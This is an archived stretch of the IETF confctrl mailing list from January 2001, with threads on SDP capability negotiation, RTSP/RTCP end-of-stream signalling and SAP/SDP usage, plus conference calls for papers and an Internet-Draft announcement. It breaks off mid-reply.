> I would like to suggest that anything we do should move toward making
> the Megaco adaptations of SDP in the MGC-MG direction more useful in
> the reverse direction.

Can you be a little more specific as to what those are ?

Also, I would want to note that Megaco stepped outside the syntactic
(and semantic) bounds of RFC 2327 in its use of "SDP" in the MGC-MG
direction - I assume you are not proposing we should adopt that.

-- Flemming


> That's a slightly milder requirement than what I'd really like: that
> if we choose to add a certain feature to SDP and Megaco has already
> provided a solution for that feature, we should use the Megaco
> solution.
>
> > -----Original Message-----
> > From: Joerg Ott [mailto:jo@tzi.uni-bremen.de]
> > Sent: Thursday, January 18, 2001 6:30 AM
> > To: mmusic@informatik.uni-bremen.de
> > Cc: confctrl@isi.edu
> > Subject: Simple Capabilities
> >
> >
> > Folks,
> >
> > at the last IETF, a *very* simple capability negotiation as addition
>
> > to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.
> > Numerous comments came up and it was agreed to proceed as follows:
> >
> > 1.  We will have a period of two weeks for posting comments (and
> >     potential additions) to the list.
> >
> >     This is to expire by 31 January 2001.
> >
> > 2.  From his draft and the additional input, the author will compile
>
> >     a very brief requirements draft which is to be posted to the
> list
> >     and will be discussed.
> >
> >     This will take about one weeks (8 February 2001).
> >
> > 3.  After this, the author will modify/extend/fix/... the draft
> within
> >     three weeks time to make the final I-D deadline (2 March 2001).
> >
> > Please keep in mind that we do not want to accomplish
> > everything with this
> > document but rather provide a simple short-term solution to
> relatively
> > simple REAL WORLD problems ONLY.  Anything beyond this will
> > not be integrated
> > in the revised document.
> >
> > Cheers,
> > Joerg
> >
> >
> >

--
Flemming Andreasen
Cisco Systems


--------------E6C04B75F525E316086AF190
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<p>Tom-PT Taylor wrote:
<blockquote TYPE=CITE>&nbsp;
<p><font size=-1>I would like to suggest that anything we do should move
toward making the Megaco adaptations of SDP in the MGC-MG direction more
useful in the reverse direction.</font></blockquote>
Can you be a little more specific as to what those are ?
<p>Also, I would want to note that Megaco stepped outside the syntactic
(and semantic) bounds of RFC 2327 in its use of "SDP" in the MGC-MG direction
- I assume you are not proposing we should adopt that.
<p>-- Flemming
<br>&nbsp;
<blockquote TYPE=CITE><font size=-1>That's a slightly milder requirement
than what I'd really like: that if we choose to add a certain feature to
SDP and Megaco has already provided a solution for that feature, we should
use the Megaco solution.</font>
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Joerg Ott [<a href="mailto:jo@tzi.uni-bremen.de">mailto:jo@tzi.uni-bremen.de</a>]</font>
<br><font size=-1>> Sent: Thursday, January 18, 2001 6:30 AM</font>
<br><font size=-1>> To: mmusic@informatik.uni-bremen.de</font>
<br><font size=-1>> Cc: confctrl@isi.edu</font>
<br><font size=-1>> Subject: Simple Capabilities</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> Folks,</font>
<br><font size=-1>></font>
<br><font size=-1>> at the last IETF, a *very* simple capability negotiation
as addition</font>
<br><font size=-1>> to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.</font>
<br><font size=-1>> Numerous comments came up and it was agreed to proceed
as follows:</font>
<br><font size=-1>></font>
<br><font size=-1>> 1.&nbsp; We will have a period of two weeks for posting
comments (and</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; potential additions) to the
list.</font>
<br><font size=-1>></font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; This is to expire by 31 January
2001.</font>
<br><font size=-1>></font>
<br><font size=-1>> 2.&nbsp; From his draft and the additional input, the
author will compile</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; a very brief requirements draft
which is to be posted to the list</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; and will be discussed.</font>
<br><font size=-1>></font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; This will take about one weeks
(8 February 2001).</font>
<br><font size=-1>></font>
<br><font size=-1>> 3.&nbsp; After this, the author will modify/extend/fix/...
the draft within</font>
<br><font size=-1>>&nbsp;&nbsp;&nbsp;&nbsp; three weeks time to make the
final I-D deadline (2 March 2001).</font>
<br><font size=-1>></font>
<br><font size=-1>> Please keep in mind that we do not want to accomplish</font>
<br><font size=-1>> everything with this</font>
<br><font size=-1>> document but rather provide a simple short-term solution
to relatively</font>
<br><font size=-1>> simple REAL WORLD problems ONLY.&nbsp; Anything beyond
this will</font>
<br><font size=-1>> not be integrated</font>
<br><font size=-1>> in the revised document.</font>
<br><font size=-1>></font>
<br><font size=-1>> Cheers,</font>
<br><font size=-1>> Joerg</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>></font></blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------E6C04B75F525E316086AF190--


From confctrl-owner  Fri Jan 19 01:38:29 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA26263
	for confctrl-outgoing; Fri, 19 Jan 2001 01:38:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA26258
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jan 2001 01:38:28 -0800 (PST)
Received: from gw-smtp.thomson-csf.com (gwsmtp.thomson-csf.com [195.101.39.226])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0J9cQU08679
	for <confctrl@ISI.EDU>; Fri, 19 Jan 2001 01:38:27 -0800 (PST)
Received: from thomplex.thomson-csf.com (200.3.2.2) by gw-smtp.thomson-csf.com (NPlex 5.1.053)
        id 3A67FD1F00002ABA for confctrl@ISI.EDU; Fri, 19 Jan 2001 10:39:23 +0100
Received: from thomplex.thomson-csf.com (200.3.2.2) by thomplex.thomson-csf.com (NPlex 5.1.053)
        id 3A640F6B0004AEB9 for confctrl@ISI.EDU; Fri, 19 Jan 2001 10:37:58 +0100
Received: from 178.1.4.1 by thomplex.thomson-csf.com (InterScan E-Mail VirusWall NT); Fri, 19 Jan 2001 10:36:50 +0100 (Paris, Madrid)
X-Internal-ID: 3A62E37D00003A96
Received: from minos.snmrennes.thomcast.thomson-csf.com (178.3.1.10) by cnfplex.thomcast.thomson-csf.com (NPlex 2.0.124) for confctrl@ISI.EDU; Fri, 19 Jan 2001 10:36:59 +0100
Received: from thomcast.thomson-csf.com ([178.3.1.89])
          by minos.snmrennes.thomcast.thomson-csf.com
          (Netscape Messaging Server 3.62)  with ESMTP id 75;
          Fri, 19 Jan 2001 10:30:37 +0100
Message-ID: <3A681883.A9B7A58A@thomcast.thomson-csf.com>
Date: Fri, 19 Jan 2001 10:35:48 +0000
From: "Marc Le Naour" <marc.lenaour@thomcast.thomson-csf.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jeff Ayars <jeffa@real.com>
CC: ydh86@netscape.net, rem-conf@es.net, confctrl@ISI.EDU
Subject: Re: end of a hint movie and RTCP exchanges
References: <4.3.2.7.2.20010118091111.027bdcc8@mail.real.com>
Content-Type: multipart/mixed;
 boundary="------------8BEFE076F6E992051FB51F0E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------8BEFE076F6E992051FB51F0E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7Bit

Hi,

First, do you talk about RTSP Bye rather than RTCP Bye ? I know what is RTCP
BYE packet, but i didn't see any reference about RTSP Bye.

Second i've got one question (be easy, i'm novice in this domain) : if you are
using RTP/RTCP exchange methods, and if you are streaming data over TCP
(RTP/AVP/TCP) with RTSP interleaved mode to protect some data, is it necessary
to monitors (server) the receivers RR or BYE packets ? i mean the RR is not
necessary because of the TCP connection and the BYE packet from client because
of the TEARDOWN RTSP message, isn't it ?

Marc



Jeff Ayars wrote:

> At 03:57 AM 1/18/2001 -0500, ydh86@netscape.net wrote:
> >Hi,
> >
> >How the RTP (or RTCP or RTSP) indicates the end of the movie
> >to the video player? I could not find any mechanism of it,
> >the only indication seems that the streaming server stops
> >sending RTP packets, but it does not neccessary mean the end
> >of the movie?
>
> Good catch.  If you've gotten this far either your a very good reader and
> thinker or you're actually implementing something.  The answer as far as
> the standard is concerned today is that it doesn't say.  There is not a
> specified method to inform the terminal of the end of the stream in
> RTSP.  There are two methods used that I am aware of:  RTSP Bye sent by the
> server, and strict adherence to the range specified in the SDP or
> PLAY.  Both mechanisms need a timeout as the bye as well as the final bit
> of the media stream can be lost.  Neither are particularly good and at the
> RTSP bake-off last summer we talked about adding an explicit method as we
> moved RTSP to Draft Standard.
>
> JEff

--------------8BEFE076F6E992051FB51F0E
Content-Type: text/x-vcard; charset=us-ascii;
 name="marc.lenaour.vcf"
Content-Description: Card for Marc Le Naour
Content-Disposition: attachment;
 filename="marc.lenaour.vcf"
Content-Transfer-Encoding: 7Bit

begin:vcard 
n:Le Naour;Marc
tel;cell:06.63.59.32.38
tel;work:02.99.22.76.32
x-mozilla-html:TRUE
org:SII/THALES Broadcast Multimedia;Stream Server Department
version:2.1
email;internet:Marc.Lenaour@Thomcast.thomson-csf.com
title:Software & Telecom Engineer
adr;quoted-printable:;;40, rue de Bray=0D=0ACesson-Sevigne=0D=0A35510 Rennes;Cesson-Sévigné;;;France
fn:Marc Le Naour
end:vcard

--------------8BEFE076F6E992051FB51F0E--


From confctrl-owner  Fri Jan 19 08:27:48 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA11231
	for confctrl-outgoing; Fri, 19 Jan 2001 08:27:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11226
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jan 2001 08:27:46 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0JGRiU14362
	for <confctrl@isi.edu>; Fri, 19 Jan 2001 08:27:45 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id f0JGRfW19699;
	Fri, 19 Jan 2001 17:27:41 +0100 (MET)
Message-Id: <200101191627.f0JGRfW19699@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Fri, 19 Jan 2001 17:26:17 +0100
To: confctrl@ISI.EDU, mmusic@informatik.uni-bremen.de
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Slides from San Diego
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I am about to finalize the minutes from the last meeting but
I don't yet have a number of presentations available.  So please,
if you have not already done so, send me a copy of your slides
(PPT preferred) or a pointer to them asap.

Thanks a lot!

Joerg



From confctrl-owner  Fri Jan 19 15:13:00 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA03785
	for confctrl-outgoing; Fri, 19 Jan 2001 15:13:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA03780
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jan 2001 15:12:59 -0800 (PST)
Received: from soba.prognet.com (tog-wakko2.prognet.com [207.188.29.249])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0JNCwU17617
	for <confctrl@ISI.EDU>; Fri, 19 Jan 2001 15:12:58 -0800 (PST)
Received: from localhost (ghori@localhost)
	by soba.prognet.com (8.9.3/8.9.3) with ESMTP id PAA00477;
	Fri, 19 Jan 2001 15:12:16 -0800
X-Authentication-Warning: soba.prognet.com: ghori owned process doing -bs
Date: Fri, 19 Jan 2001 15:12:16 -0800 (PST)
From: Go Hori <ghori@mail.prognet.com>
X-Sender: ghori@soba.prognet.com
To: Marc Le Naour <marc.lenaour@thomcast.thomson-csf.com>
cc: Jeff Ayars <jeffa@real.com>, ydh86@netscape.net, rem-conf@es.net,
        confctrl@ISI.EDU
Subject: Re: end of a hint movie and RTCP exchanges
In-Reply-To: <3A681883.A9B7A58A@thomcast.thomson-csf.com>
Message-ID: <Pine.LNX.4.21.0101191446480.32628-100000@soba.prognet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


As far as RTSP msg goes, there is only one way to terminate the session.  
It is TEARDOWN from a client.  A client can figure out when to send out
TEARDOWN by keeping track of Range.

There is RTCP Bye that a server sends.  So, client can initiate the
TEARDOWN upon a reception of RTCP Bye as well.

RTP over TCP interleaved:
It is up to an application to monitor RR or BYE, but you should send them
because it is part of the spec and somebody might be expecting them even
in the case of RTP over TCP interleaved.

Go


On Fri, 19 Jan 2001, Marc Le Naour wrote:

> Hi,
> 
> First, do you talk about RTSP Bye rather than RTCP Bye ? I know what is RTCP
> BYE packet, but i didn't see any reference about RTSP Bye.
> 
> Second i've got one question (be easy, i'm novice in this domain) : if you are
> using RTP/RTCP exchange methods, and if you are streaming data over TCP
> (RTP/AVP/TCP) with RTSP interleaved mode to protect some data, is it necessary
> to monitors (server) the receivers RR or BYE packets ? i mean the RR is not
> necessary because of the TCP connection and the BYE packet from client because
> of the TEARDOWN RTSP message, isn't it ?
> 
> Marc
> 
> 
> 
> Jeff Ayars wrote:
> 
> > At 03:57 AM 1/18/2001 -0500, ydh86@netscape.net wrote:
> > >Hi,
> > >
> > >How the RTP (or RTCP or RTSP) indicates the end of the movie
> > >to the video player? I could not find any mechanism of it,
> > >the only indication seems that the streaming server stops
> > >sending RTP packets, but it does not neccessary mean the end
> > >of the movie?
> >
> > Good catch.  If you've gotten this far either your a very good reader and
> > thinker or you're actually implementing something.  The answer as far as
> > the standard is concerned today is that it doesn't say.  There is not a
> > specified method to inform the terminal of the end of the stream in
> > RTSP.  There are two methods used that I am aware of:  RTSP Bye sent by the
> > server, and strict adherence to the range specified in the SDP or
> > PLAY.  Both mechanisms need a timeout as the bye as well as the final bit
> > of the media stream can be lost.  Neither are particularly good and at the
> > RTSP bake-off last summer we talked about adding an explicit method as we
> > moved RTSP to Draft Standard.
> >
> > JEff
> 




From confctrl-owner  Tue Jan 23 15:25:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA05075
	for confctrl-outgoing; Tue, 23 Jan 2001 15:25:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA05070
	for <confctrl@zephyr.isi.edu>; Tue, 23 Jan 2001 15:25:50 -0800 (PST)
Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0NNPnU04427;
	Tue, 23 Jan 2001 15:25:49 -0800 (PST)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA309588;
	Tue, 23 Jan 2001 18:17:41 -0500
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA128776;
	Tue, 23 Jan 2001 18:15:32 -0500
Importance: Normal
Subject: Reminder: CFP: ACM SIGCOMM 2001 - Deadline Jan 26.
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@ISI.EDU, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.CIS.upenn.edu,
        cost237-transport@comp.lancs.ac.uk, reres@laas.fr,
        hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca, rem-conf@es.net,
        commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, Cost264@lip6.fr, domain3@BXL.DG13.cec.eu.int,
        nichains@BXL.DG13.cec.eu.int, gi-fb3@fokus.gmd.de,
        kuvs-elg@fokus.gmd.de, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA, gigabitkits@arl.wustl.edu
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF371F63E4.A111D94E-ON852569BB.0075CE33@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Tue, 23 Jan 2001 18:22:37 -0500
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.6 |December 14, 2000) at
 01/23/2001 06:18:35 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



                        CALL FOR PAPERS
                   ACM SIGCOMM 2001 CONFERENCE

                   August 27 - August 31, 2001
            Mandeville Auditorium, UC San Diego, CA, USA.
                http://www.acm.org/sigcomm/sigcomm2001

Important Dates:

Paper submission: January 26, 2001
Tutorial proposals: February 12, 2001
Notification of acceptance: April 23, 2001
Camera ready papers: May 21, 2001

The SIGCOMM 2001 conference seeks papers describing significant research
contributions to the field of computer and data communication networks.
Authors are invited to submit full papers concerned with both theory and
practice.
Areas of interest include, but are not limited to:

- Distributed application networking infrastructure.
- Distributed common application services, middleware protocols, and
signaling.
- Routing, switching, and addressing.
- Resource sharing, quality of service, multimedia networks, and OS
support.
- Multimedia networking.
- Networking aspects of the WWW.
- Heterogeneous internetworking, large-scale networks.
- Network management.
- Active network architectures and protocols.
- Important experimental results from operational networks and lessons
  learned from prototype implementations.
- Wireless networking and support for nomadic computing.
- Analysis and design of computer network architectures and algorithms.

SIGCOMM 2001 is a single-track, highly selective conference at which
successful
submissions typically report results firmly substantiated by experiment,
implementation, simulation, or mathematical analysis. In addition to the
technical program (paper presentations), SIGCOMM 2001 will offer tutorials
by
noted instructors on the two days preceding the actual conference, and
feature
an outrageous opinion session where fresh and unconventional perspectives
will
be offered.

Submission Instructions:
------------------------

Papers must be less than 20 double-spaced pages long (formatted for
printing in the Proceedings, papers may not be longer than 12 pages),
have an abstract of 100-150 words, and be original material that has
not been previously published nor is currently under review by another
conference or journal.

Authors must submit papers electronically, using the instructions at
http://www.acm.org/sigs/sigcomm/sigcomm2001/submission/index.htm.
Authors not able to comply with these instructions should contact
the Program Co-Chairs at sigcomm2001@seas.upenn.edu .  Papers
submitted after the deadline will not be considered without an
ahead-of-time extension from the Program Co-Chairs.

All submitted papers will be judged based on their quality and
relevance through double-blind reviewing, where the identities of the
authors are withheld from the reviewers. Consult the on-line
submission instructions for information on preparing a manuscript for
double-blind review.  Authors of accepted papers will need to sign an
ACM copyright release form and present their paper at the
conference. The Proceedings of the conference will be published as a
special issue of ACM SIGCOMM Computer Communication Review. The
Program Committee may also select a few papers for possible
publication in the IEEE/ACM Transactions on Networking. Electronic
copies of the accepted papers will be published on the SIGCOMM 2001
web site prior to the conference unless authors specifically request
that this not be done.

Tutorials:
----------

SIGCOMM 2001 will begin with two days of full-day and half-day tutorials
covering single topics in detail, at both the introductory or advanced
level.
Individuals interested in submitting tutorial proposals are encouraged to
contact the Tutorial Chair before the deadline to discuss the proposed
content.
Student Paper Award Papers submitted by students may be considered for a
student-paper award, which includes full conference registration and a
travel
grant of approximately $500. To be eligible, the student must be the sole
author
of the paper, or the first author and primary contributor. A cover letter
or
email to the Program Chairs must identify the paper as a candidate for this
competition.

SIGCOMM Award:
--------------

The keynote speaker at SIGCOMM 2001 will be the 2001 winner of the ACM
SIGCOMM
Award for lifetime contributions to the field of computer communication.
Procedures for nominating candidates for the SIGCOMM Award can be obtained
from
Scott Shenker (shenker@aciri.org).




From confctrl-owner  Wed Jan 24 14:12:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA11610
	for confctrl-outgoing; Wed, 24 Jan 2001 14:12:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA11605
	for <confctrl@zephyr.isi.edu>; Wed, 24 Jan 2001 14:12:50 -0800 (PST)
Received: from imo-r04.mx.aol.com (imo-r04.mx.aol.com [152.163.225.4])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0OMCnU28143;
	Wed, 24 Jan 2001 14:12:49 -0800 (PST)
Received: from HOJABRI@aol.com
	by imo-r04.mx.aol.com (mail_out_v29.5.) id k.bd.b1da0a2 (4006);
	Wed, 24 Jan 2001 17:11:44 -0500 (EST)
From: HOJABRI@aol.com
Message-ID: <bd.b1da0a2.27a0ad1e@aol.com>
Date: Wed, 24 Jan 2001 17:11:42 EST
Subject: INTERNATIONAL TELECOMMUNICATION SYMPOSIUM
To: end2end-interest@ISI.EDU, confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_bd.b1da0a2.27a0ad1e_boundary"
Content-Disposition: Inline
X-Mailer: 6.0 sub 149
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--part1_bd.b1da0a2.27a0ad1e_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

I WOULD APPRECIATE IT IF YOU FORWARD THE ATTACHED ANNOUNCEMENT TO YOUR 
MAILING LIST.

REGARDS,
DR. F. HOJABRI
PRESIDENT
SHARIF UNIVERSITY ASSOCIATION


--part1_bd.b1da0a2.27a0ad1e_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>I WOULD APPRECIATE IT IF YOU FORWARD THE ATTACHED ANNOUNCEMENT TO YOUR 
<BR>MAILING LIST.
<BR>
<BR>REGARDS,
<BR>DR. F. HOJABRI
<BR>PRESIDENT
<BR>SHARIF UNIVERSITY ASSOCIATION
<BR></FONT></HTML>

--part1_bd.b1da0a2.27a0ad1e_boundary--

From confctrl-owner  Thu Jan 25 03:32:41 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA13438
	for confctrl-outgoing; Thu, 25 Jan 2001 03:32:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA13433
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jan 2001 03:32:38 -0800 (PST)
Received: from imo-r12.mx.aol.com (imo-r12.mx.aol.com [152.163.225.66])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0PBWbU12062
	for <confctrl@isi.edu>; Thu, 25 Jan 2001 03:32:37 -0800 (PST)
Received: from ydh86@netscape.net
	by imo-r12.mx.aol.com (mail_out_v29.5.) id k.ef.9e333c (16230)
	 for <confctrl@isi.edu>; Thu, 25 Jan 2001 06:32:27 -0500 (EST)
Received: from  netscape.com (aimmail11.aim.aol.com [205.188.144.203]) by air-in02.mx.aol.com (v77.35) with ESMTP; Thu, 25 Jan 2001 06:32:27 1900
Date: Thu, 25 Jan 2001 06:32:00 -0500
From: ydh86@netscape.net
To: confctrl@ISI.EDU
Subject: Re: SAP, SDP
Mime-Version: 1.0
Message-ID: <7271E1E6.2D413CD8.000163B3@netscape.net>
X-Mailer: Franklin Webmailer 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Has the SAP/SDP been used by commercial products? How significant that the SAP/SDP is used in the real world? For example, I can view the CNN Headline news in real player, does that mean that the CNN news transmit broadcast news via SAP/SDP?
__________________________________________________________________
Get your own FREE, personal Netscape Webmail account today at http://webmail.netscape.com/

From confctrl-owner  Thu Jan 25 03:44:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA13850
	for confctrl-outgoing; Thu, 25 Jan 2001 03:44:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA13838
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jan 2001 03:44:45 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0PBigU13287
	for <confctrl@isi.edu>; Thu, 25 Jan 2001 03:44:43 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA23467;
	Thu, 25 Jan 2001 06:44:39 -0500 (EST)
Message-Id: <200101251144.GAA23467@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-directory-type-02.txt
Date: Thu, 25 Jan 2001 06:44:38 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Describing session directories in SDP
	Author(s)	: R. Finlayson
	Filename	: draft-ietf-mmusic-sdp-directory-type-02.txt
	Pages		: 4
	Date		: 24-Jan-01
	
A directory containing a set of media sessions - each described using
the Session Description Protocol (SDP) [1] - can itself be treated as
a media session, with its own SDP description.  This document
shows how a session directory can be described, using SDP,
within one or more other session directories.  This increases the
flexibility and scalability of the directory system.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-directory-type-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-directory-type-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010124103353.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-directory-type-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-directory-type-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010124103353.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jan 25 10:24:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA03391
	for confctrl-outgoing; Thu, 25 Jan 2001 10:24:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA03386
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jan 2001 10:24:12 -0800 (PST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0PIOBU01448
	for <confctrl@ISI.EDU>; Thu, 25 Jan 2001 10:24:11 -0800 (PST)
Received: from jeffa-laptop.real.com ([172.23.106.160])
	by prognet.com (8.9.2/8.9.0) with ESMTP id KAA08571;
	Thu, 25 Jan 2001 10:24:10 -0800 (PST)
Message-Id: <4.3.2.7.2.20010125101819.02d4cf68@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Jan 2001 10:23:07 -0800
To: ydh86@netscape.net, confctrl@ISI.EDU
From: Jeff Ayars <jeffa@real.com>
Subject: Re: SAP, SDP
In-Reply-To: <7271E1E6.2D413CD8.000163B3@netscape.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 06:32 AM 1/25/2001 -0500, ydh86@netscape.net wrote:
>Hello,
>
>Has the SAP/SDP been used by commercial products? How significant that the 
>SAP/SDP is used in the real world? For example, I can view the CNN 
>Headline news in real player, does that mean that the CNN news transmit 
>broadcast news via SAP/SDP?

When you view CNN news in the RealPlayer, RTSP/SDP are being used.  The 
